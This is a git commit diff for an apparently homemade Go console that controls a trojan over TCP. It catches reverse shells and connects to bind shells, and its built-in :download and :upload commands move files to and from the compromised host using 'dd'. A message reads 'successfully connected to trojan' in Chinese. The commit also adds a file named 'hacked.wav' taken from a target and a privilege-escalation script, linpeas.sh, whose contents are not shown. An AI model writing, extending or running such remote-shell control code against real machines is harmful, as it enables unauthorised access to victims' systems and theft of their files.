This commit is contained in:
2022-07-21 23:04:43 +08:00
parent 26632830ed
commit a0eaa21f06
4 changed files with 4808 additions and 38 deletions

1
123 Normal file
View File

@@ -0,0 +1 @@
2adjfhasjdfjadhkfahsdk

View File

@@ -23,8 +23,8 @@ func main() {
fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|") fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
//console() //console()
listener("tcp", 4444) //listener("tcp", 4444)
//dial() dial("tcp", "127.0.0.1", 4444)
} }
type env struct { type env struct {
@@ -41,8 +41,11 @@ var lock sync.Mutex
// listener function // listener function
func listener(network string, port int) { func listener(network string, port int) {
// Create a listener // Create a listener
strport := strconv.Itoa(port) var addr net.TCPAddr
listener, err := net.Listen("tcp", ":"+strport) addr.IP = net.IPv4(127, 0, 0, 1)
addr.Port = port
listener, err := net.ListenTCP("tcp", &addr)
//listener, err := net.Listen("tcp", ":"+strport)
if err != nil { if err != nil {
fmt.Println("err = ", err) fmt.Println("err = ", err)
return return
@@ -50,10 +53,10 @@ func listener(network string, port int) {
fmt.Printf("Listening on local port %d\n", port) fmt.Printf("Listening on local port %d\n", port)
defer listener.Close() defer listener.Close()
//var connpool[16] net.Conn //var connpool[16] net.TCPConn
//Wait for connection //Wait for connection
conn, err := listener.Accept() conn, err := listener.AcceptTCP()
if err != nil { if err != nil {
fmt.Println("err = ", err) fmt.Println("err = ", err)
return return
@@ -71,32 +74,22 @@ func listener(network string, port int) {
fmt.Print(env1.username + " > ") fmt.Print(env1.username + " > ")
go func() { go func() {
for { for {
// lock.Lock()
// fmt.Println("rece locked")
<-receive <-receive
receiver(conn) receiver(conn)
fmt.Print(env1.username + " > ") fmt.Print(env1.username + " > ")
// fmt.Println("rece unlocked")
// lock.Unlock()
} }
}() }()
go func() { go func() {
for { for {
// fmt.Println("locked")
// fmt.Print(env1.username + " > ")
sender(conn, exit, receive) sender(conn, exit, receive)
//time.Sleep(2 * time.Second)
// fmt.Println("unlocked")
// lock.Unlock()
} }
}() }()
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此 aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
fmt.Printf("command: %v", aaaa) fmt.Printf("command: %v\n", aaaa)
return
} }
// 控制台函数 // 控制台函数
@@ -132,10 +125,10 @@ func execInput(input string) error {
switch args[0] { switch args[0] {
case "help": case "help":
fmt.Print("use show to show options") fmt.Println("use show to show options")
fmt.Print("use set to set varieties") fmt.Println("use set to set varieties")
fmt.Print("use listen to connect a reverse shell") fmt.Println("use listen to connect a reverse shell")
fmt.Print("use dial to connect a bind shell") fmt.Println("use dial to connect a bind shell")
return nil return nil
case "cd": case "cd":
@@ -167,7 +160,7 @@ func execInput(input string) error {
case "show": case "show":
fmt.Printf("Local listening port (lport): %d\n", env1.lport) fmt.Printf("Local listening port (lport): %d\n", env1.lport)
fmt.Printf("Remote listening host (rhost): %s\n", env1.rhost) fmt.Printf("Remote listening host (rhost)(only support ipv4 addr): %s\n", env1.rhost)
fmt.Printf("Remote listening port (rport): %d\n", env1.rport) fmt.Printf("Remote listening port (rport): %d\n", env1.rport)
return nil return nil
@@ -194,27 +187,51 @@ func execInput(input string) error {
} }
func dial(network string, host string, port int) { func dial(network string, host string, port int) {
dialaddr := net.JoinHostPort(host, strconv.Itoa(port)) //处理连接参数
conn, err := net.Dial(network, dialaddr) var dialaddr net.TCPAddr
var ipargs [4]int
args := strings.Split(host, ".")
for i := 0; i < 4; i++ {
ipargs[i], _ = strconv.Atoi(args[i])
}
dialaddr.IP = net.IPv4(byte(ipargs[0]), byte(ipargs[1]), byte(ipargs[2]), byte(ipargs[3]))
dialaddr.Port = port
conn, err := net.DialTCP(network, nil, &dialaddr)
if err != nil { if err != nil {
fmt.Fprintln(os.Stderr, err) fmt.Fprintln(os.Stderr, err)
return return
} }
defer conn.Close() defer conn.Close()
fmt.Println("成功连接木马")
exit := make(chan string, 1) exit := make(chan string, 1)
receive := make(chan int) receive := make(chan int)
go func() { conn.Write([]byte("id\n"))
receiver(conn) receiver(conn)
fmt.Print(env1.username + " > ")
go func() {
for {
<-receive
receiver(conn)
fmt.Print(env1.username + " > ")
}
}() }()
go func() {
for { for {
sender(conn, exit, receive) sender(conn, exit, receive)
} }
}()
aaaa := <-exit // 2. 尝试从通道中读取内容,若通道为空,则阻塞在此
fmt.Printf("command: %v\n", aaaa)
return
} }
func sender(conn net.Conn, exit chan string, receive chan int) { func sender(conn *net.TCPConn, exit chan string, receive chan int) {
reader := bufio.NewReader(os.Stdin) reader := bufio.NewReader(os.Stdin)
inp, err := reader.ReadString('\n') inp, err := reader.ReadString('\n')
if len(inp) == 1 { if len(inp) == 1 {
@@ -224,7 +241,7 @@ func sender(conn net.Conn, exit chan string, receive chan int) {
if nil != err { if nil != err {
fmt.Println("reader.ReadLine() error:", err) fmt.Println("reader.ReadLine() error:", err)
} }
//some built-in command
if strings.HasPrefix(inp, ":help") { if strings.HasPrefix(inp, ":help") {
fmt.Println("use :download FILENAME to download") fmt.Println("use :download FILENAME to download")
fmt.Println("use :upload LOCAL REMOTE to upload") fmt.Println("use :upload LOCAL REMOTE to upload")
@@ -275,19 +292,36 @@ func sender(conn net.Conn, exit chan string, receive chan int) {
log.Fatal(err) log.Fatal(err)
} }
conn.FileConn(f) conn.Write([]byte("dd of=" + args[2] + " status=none" + "\n"))
//conn.Write([]byte("dd of=" + args[2] + " status=none" + "\n")) uploadbuf, _ := os.ReadFile(args[1])
//uploadbuf, _ := os.ReadFile(args[1]) // cmd := append([]byte("dd if="), uploadbuf...)
//fmt.Print(string(uploadbuf)) // cmd1 := append(cmd, []byte("|dd of="+args[2]+" status=none\n")...)
//conn.Write(uploadbuf) //conn.Write([]byte(""))
// conn.Write([]byte("echo "))
conn.Write(uploadbuf)
conn.CloseWrite()
//conn.Write([]byte("|dd of=" + args[2]))
//conn.Write([]byte(">" + args[2]))
//n, _ := conn.Write(uploadbuf)
// fmt.Print(n)
// fmt.Print(len(uploadbuf))
// if n == len(uploadbuf) {
// // fmt.Println("failed to upload")
// // fmt.Print(env1.username + " > ")
// fmt.Print(env1.username + " > ")
// return
// }
fmt.Print(env1.username + " > ") fmt.Print(env1.username + " > ")
receive <- 1
// fmt.Println("failed to upload")
// fmt.Print(env1.username + " > ")
return return
} }
if strings.HasPrefix(inp, ":exit") { if strings.HasPrefix(inp, ":exit") {
exit <- "server quit" // 3. 向通道内写入内容 exit <- "server quit" // 3. 向通道内写入内容
//conn.Close() conn.Close()
fmt.Print(env1.username + " > ") //fmt.Print(env1.username + " > ")
return return
} }

BIN
downloaded/hacked.wav Normal file

Binary file not shown.

4735
privsec/linpeas.sh Normal file

File diff suppressed because one or more lines are too long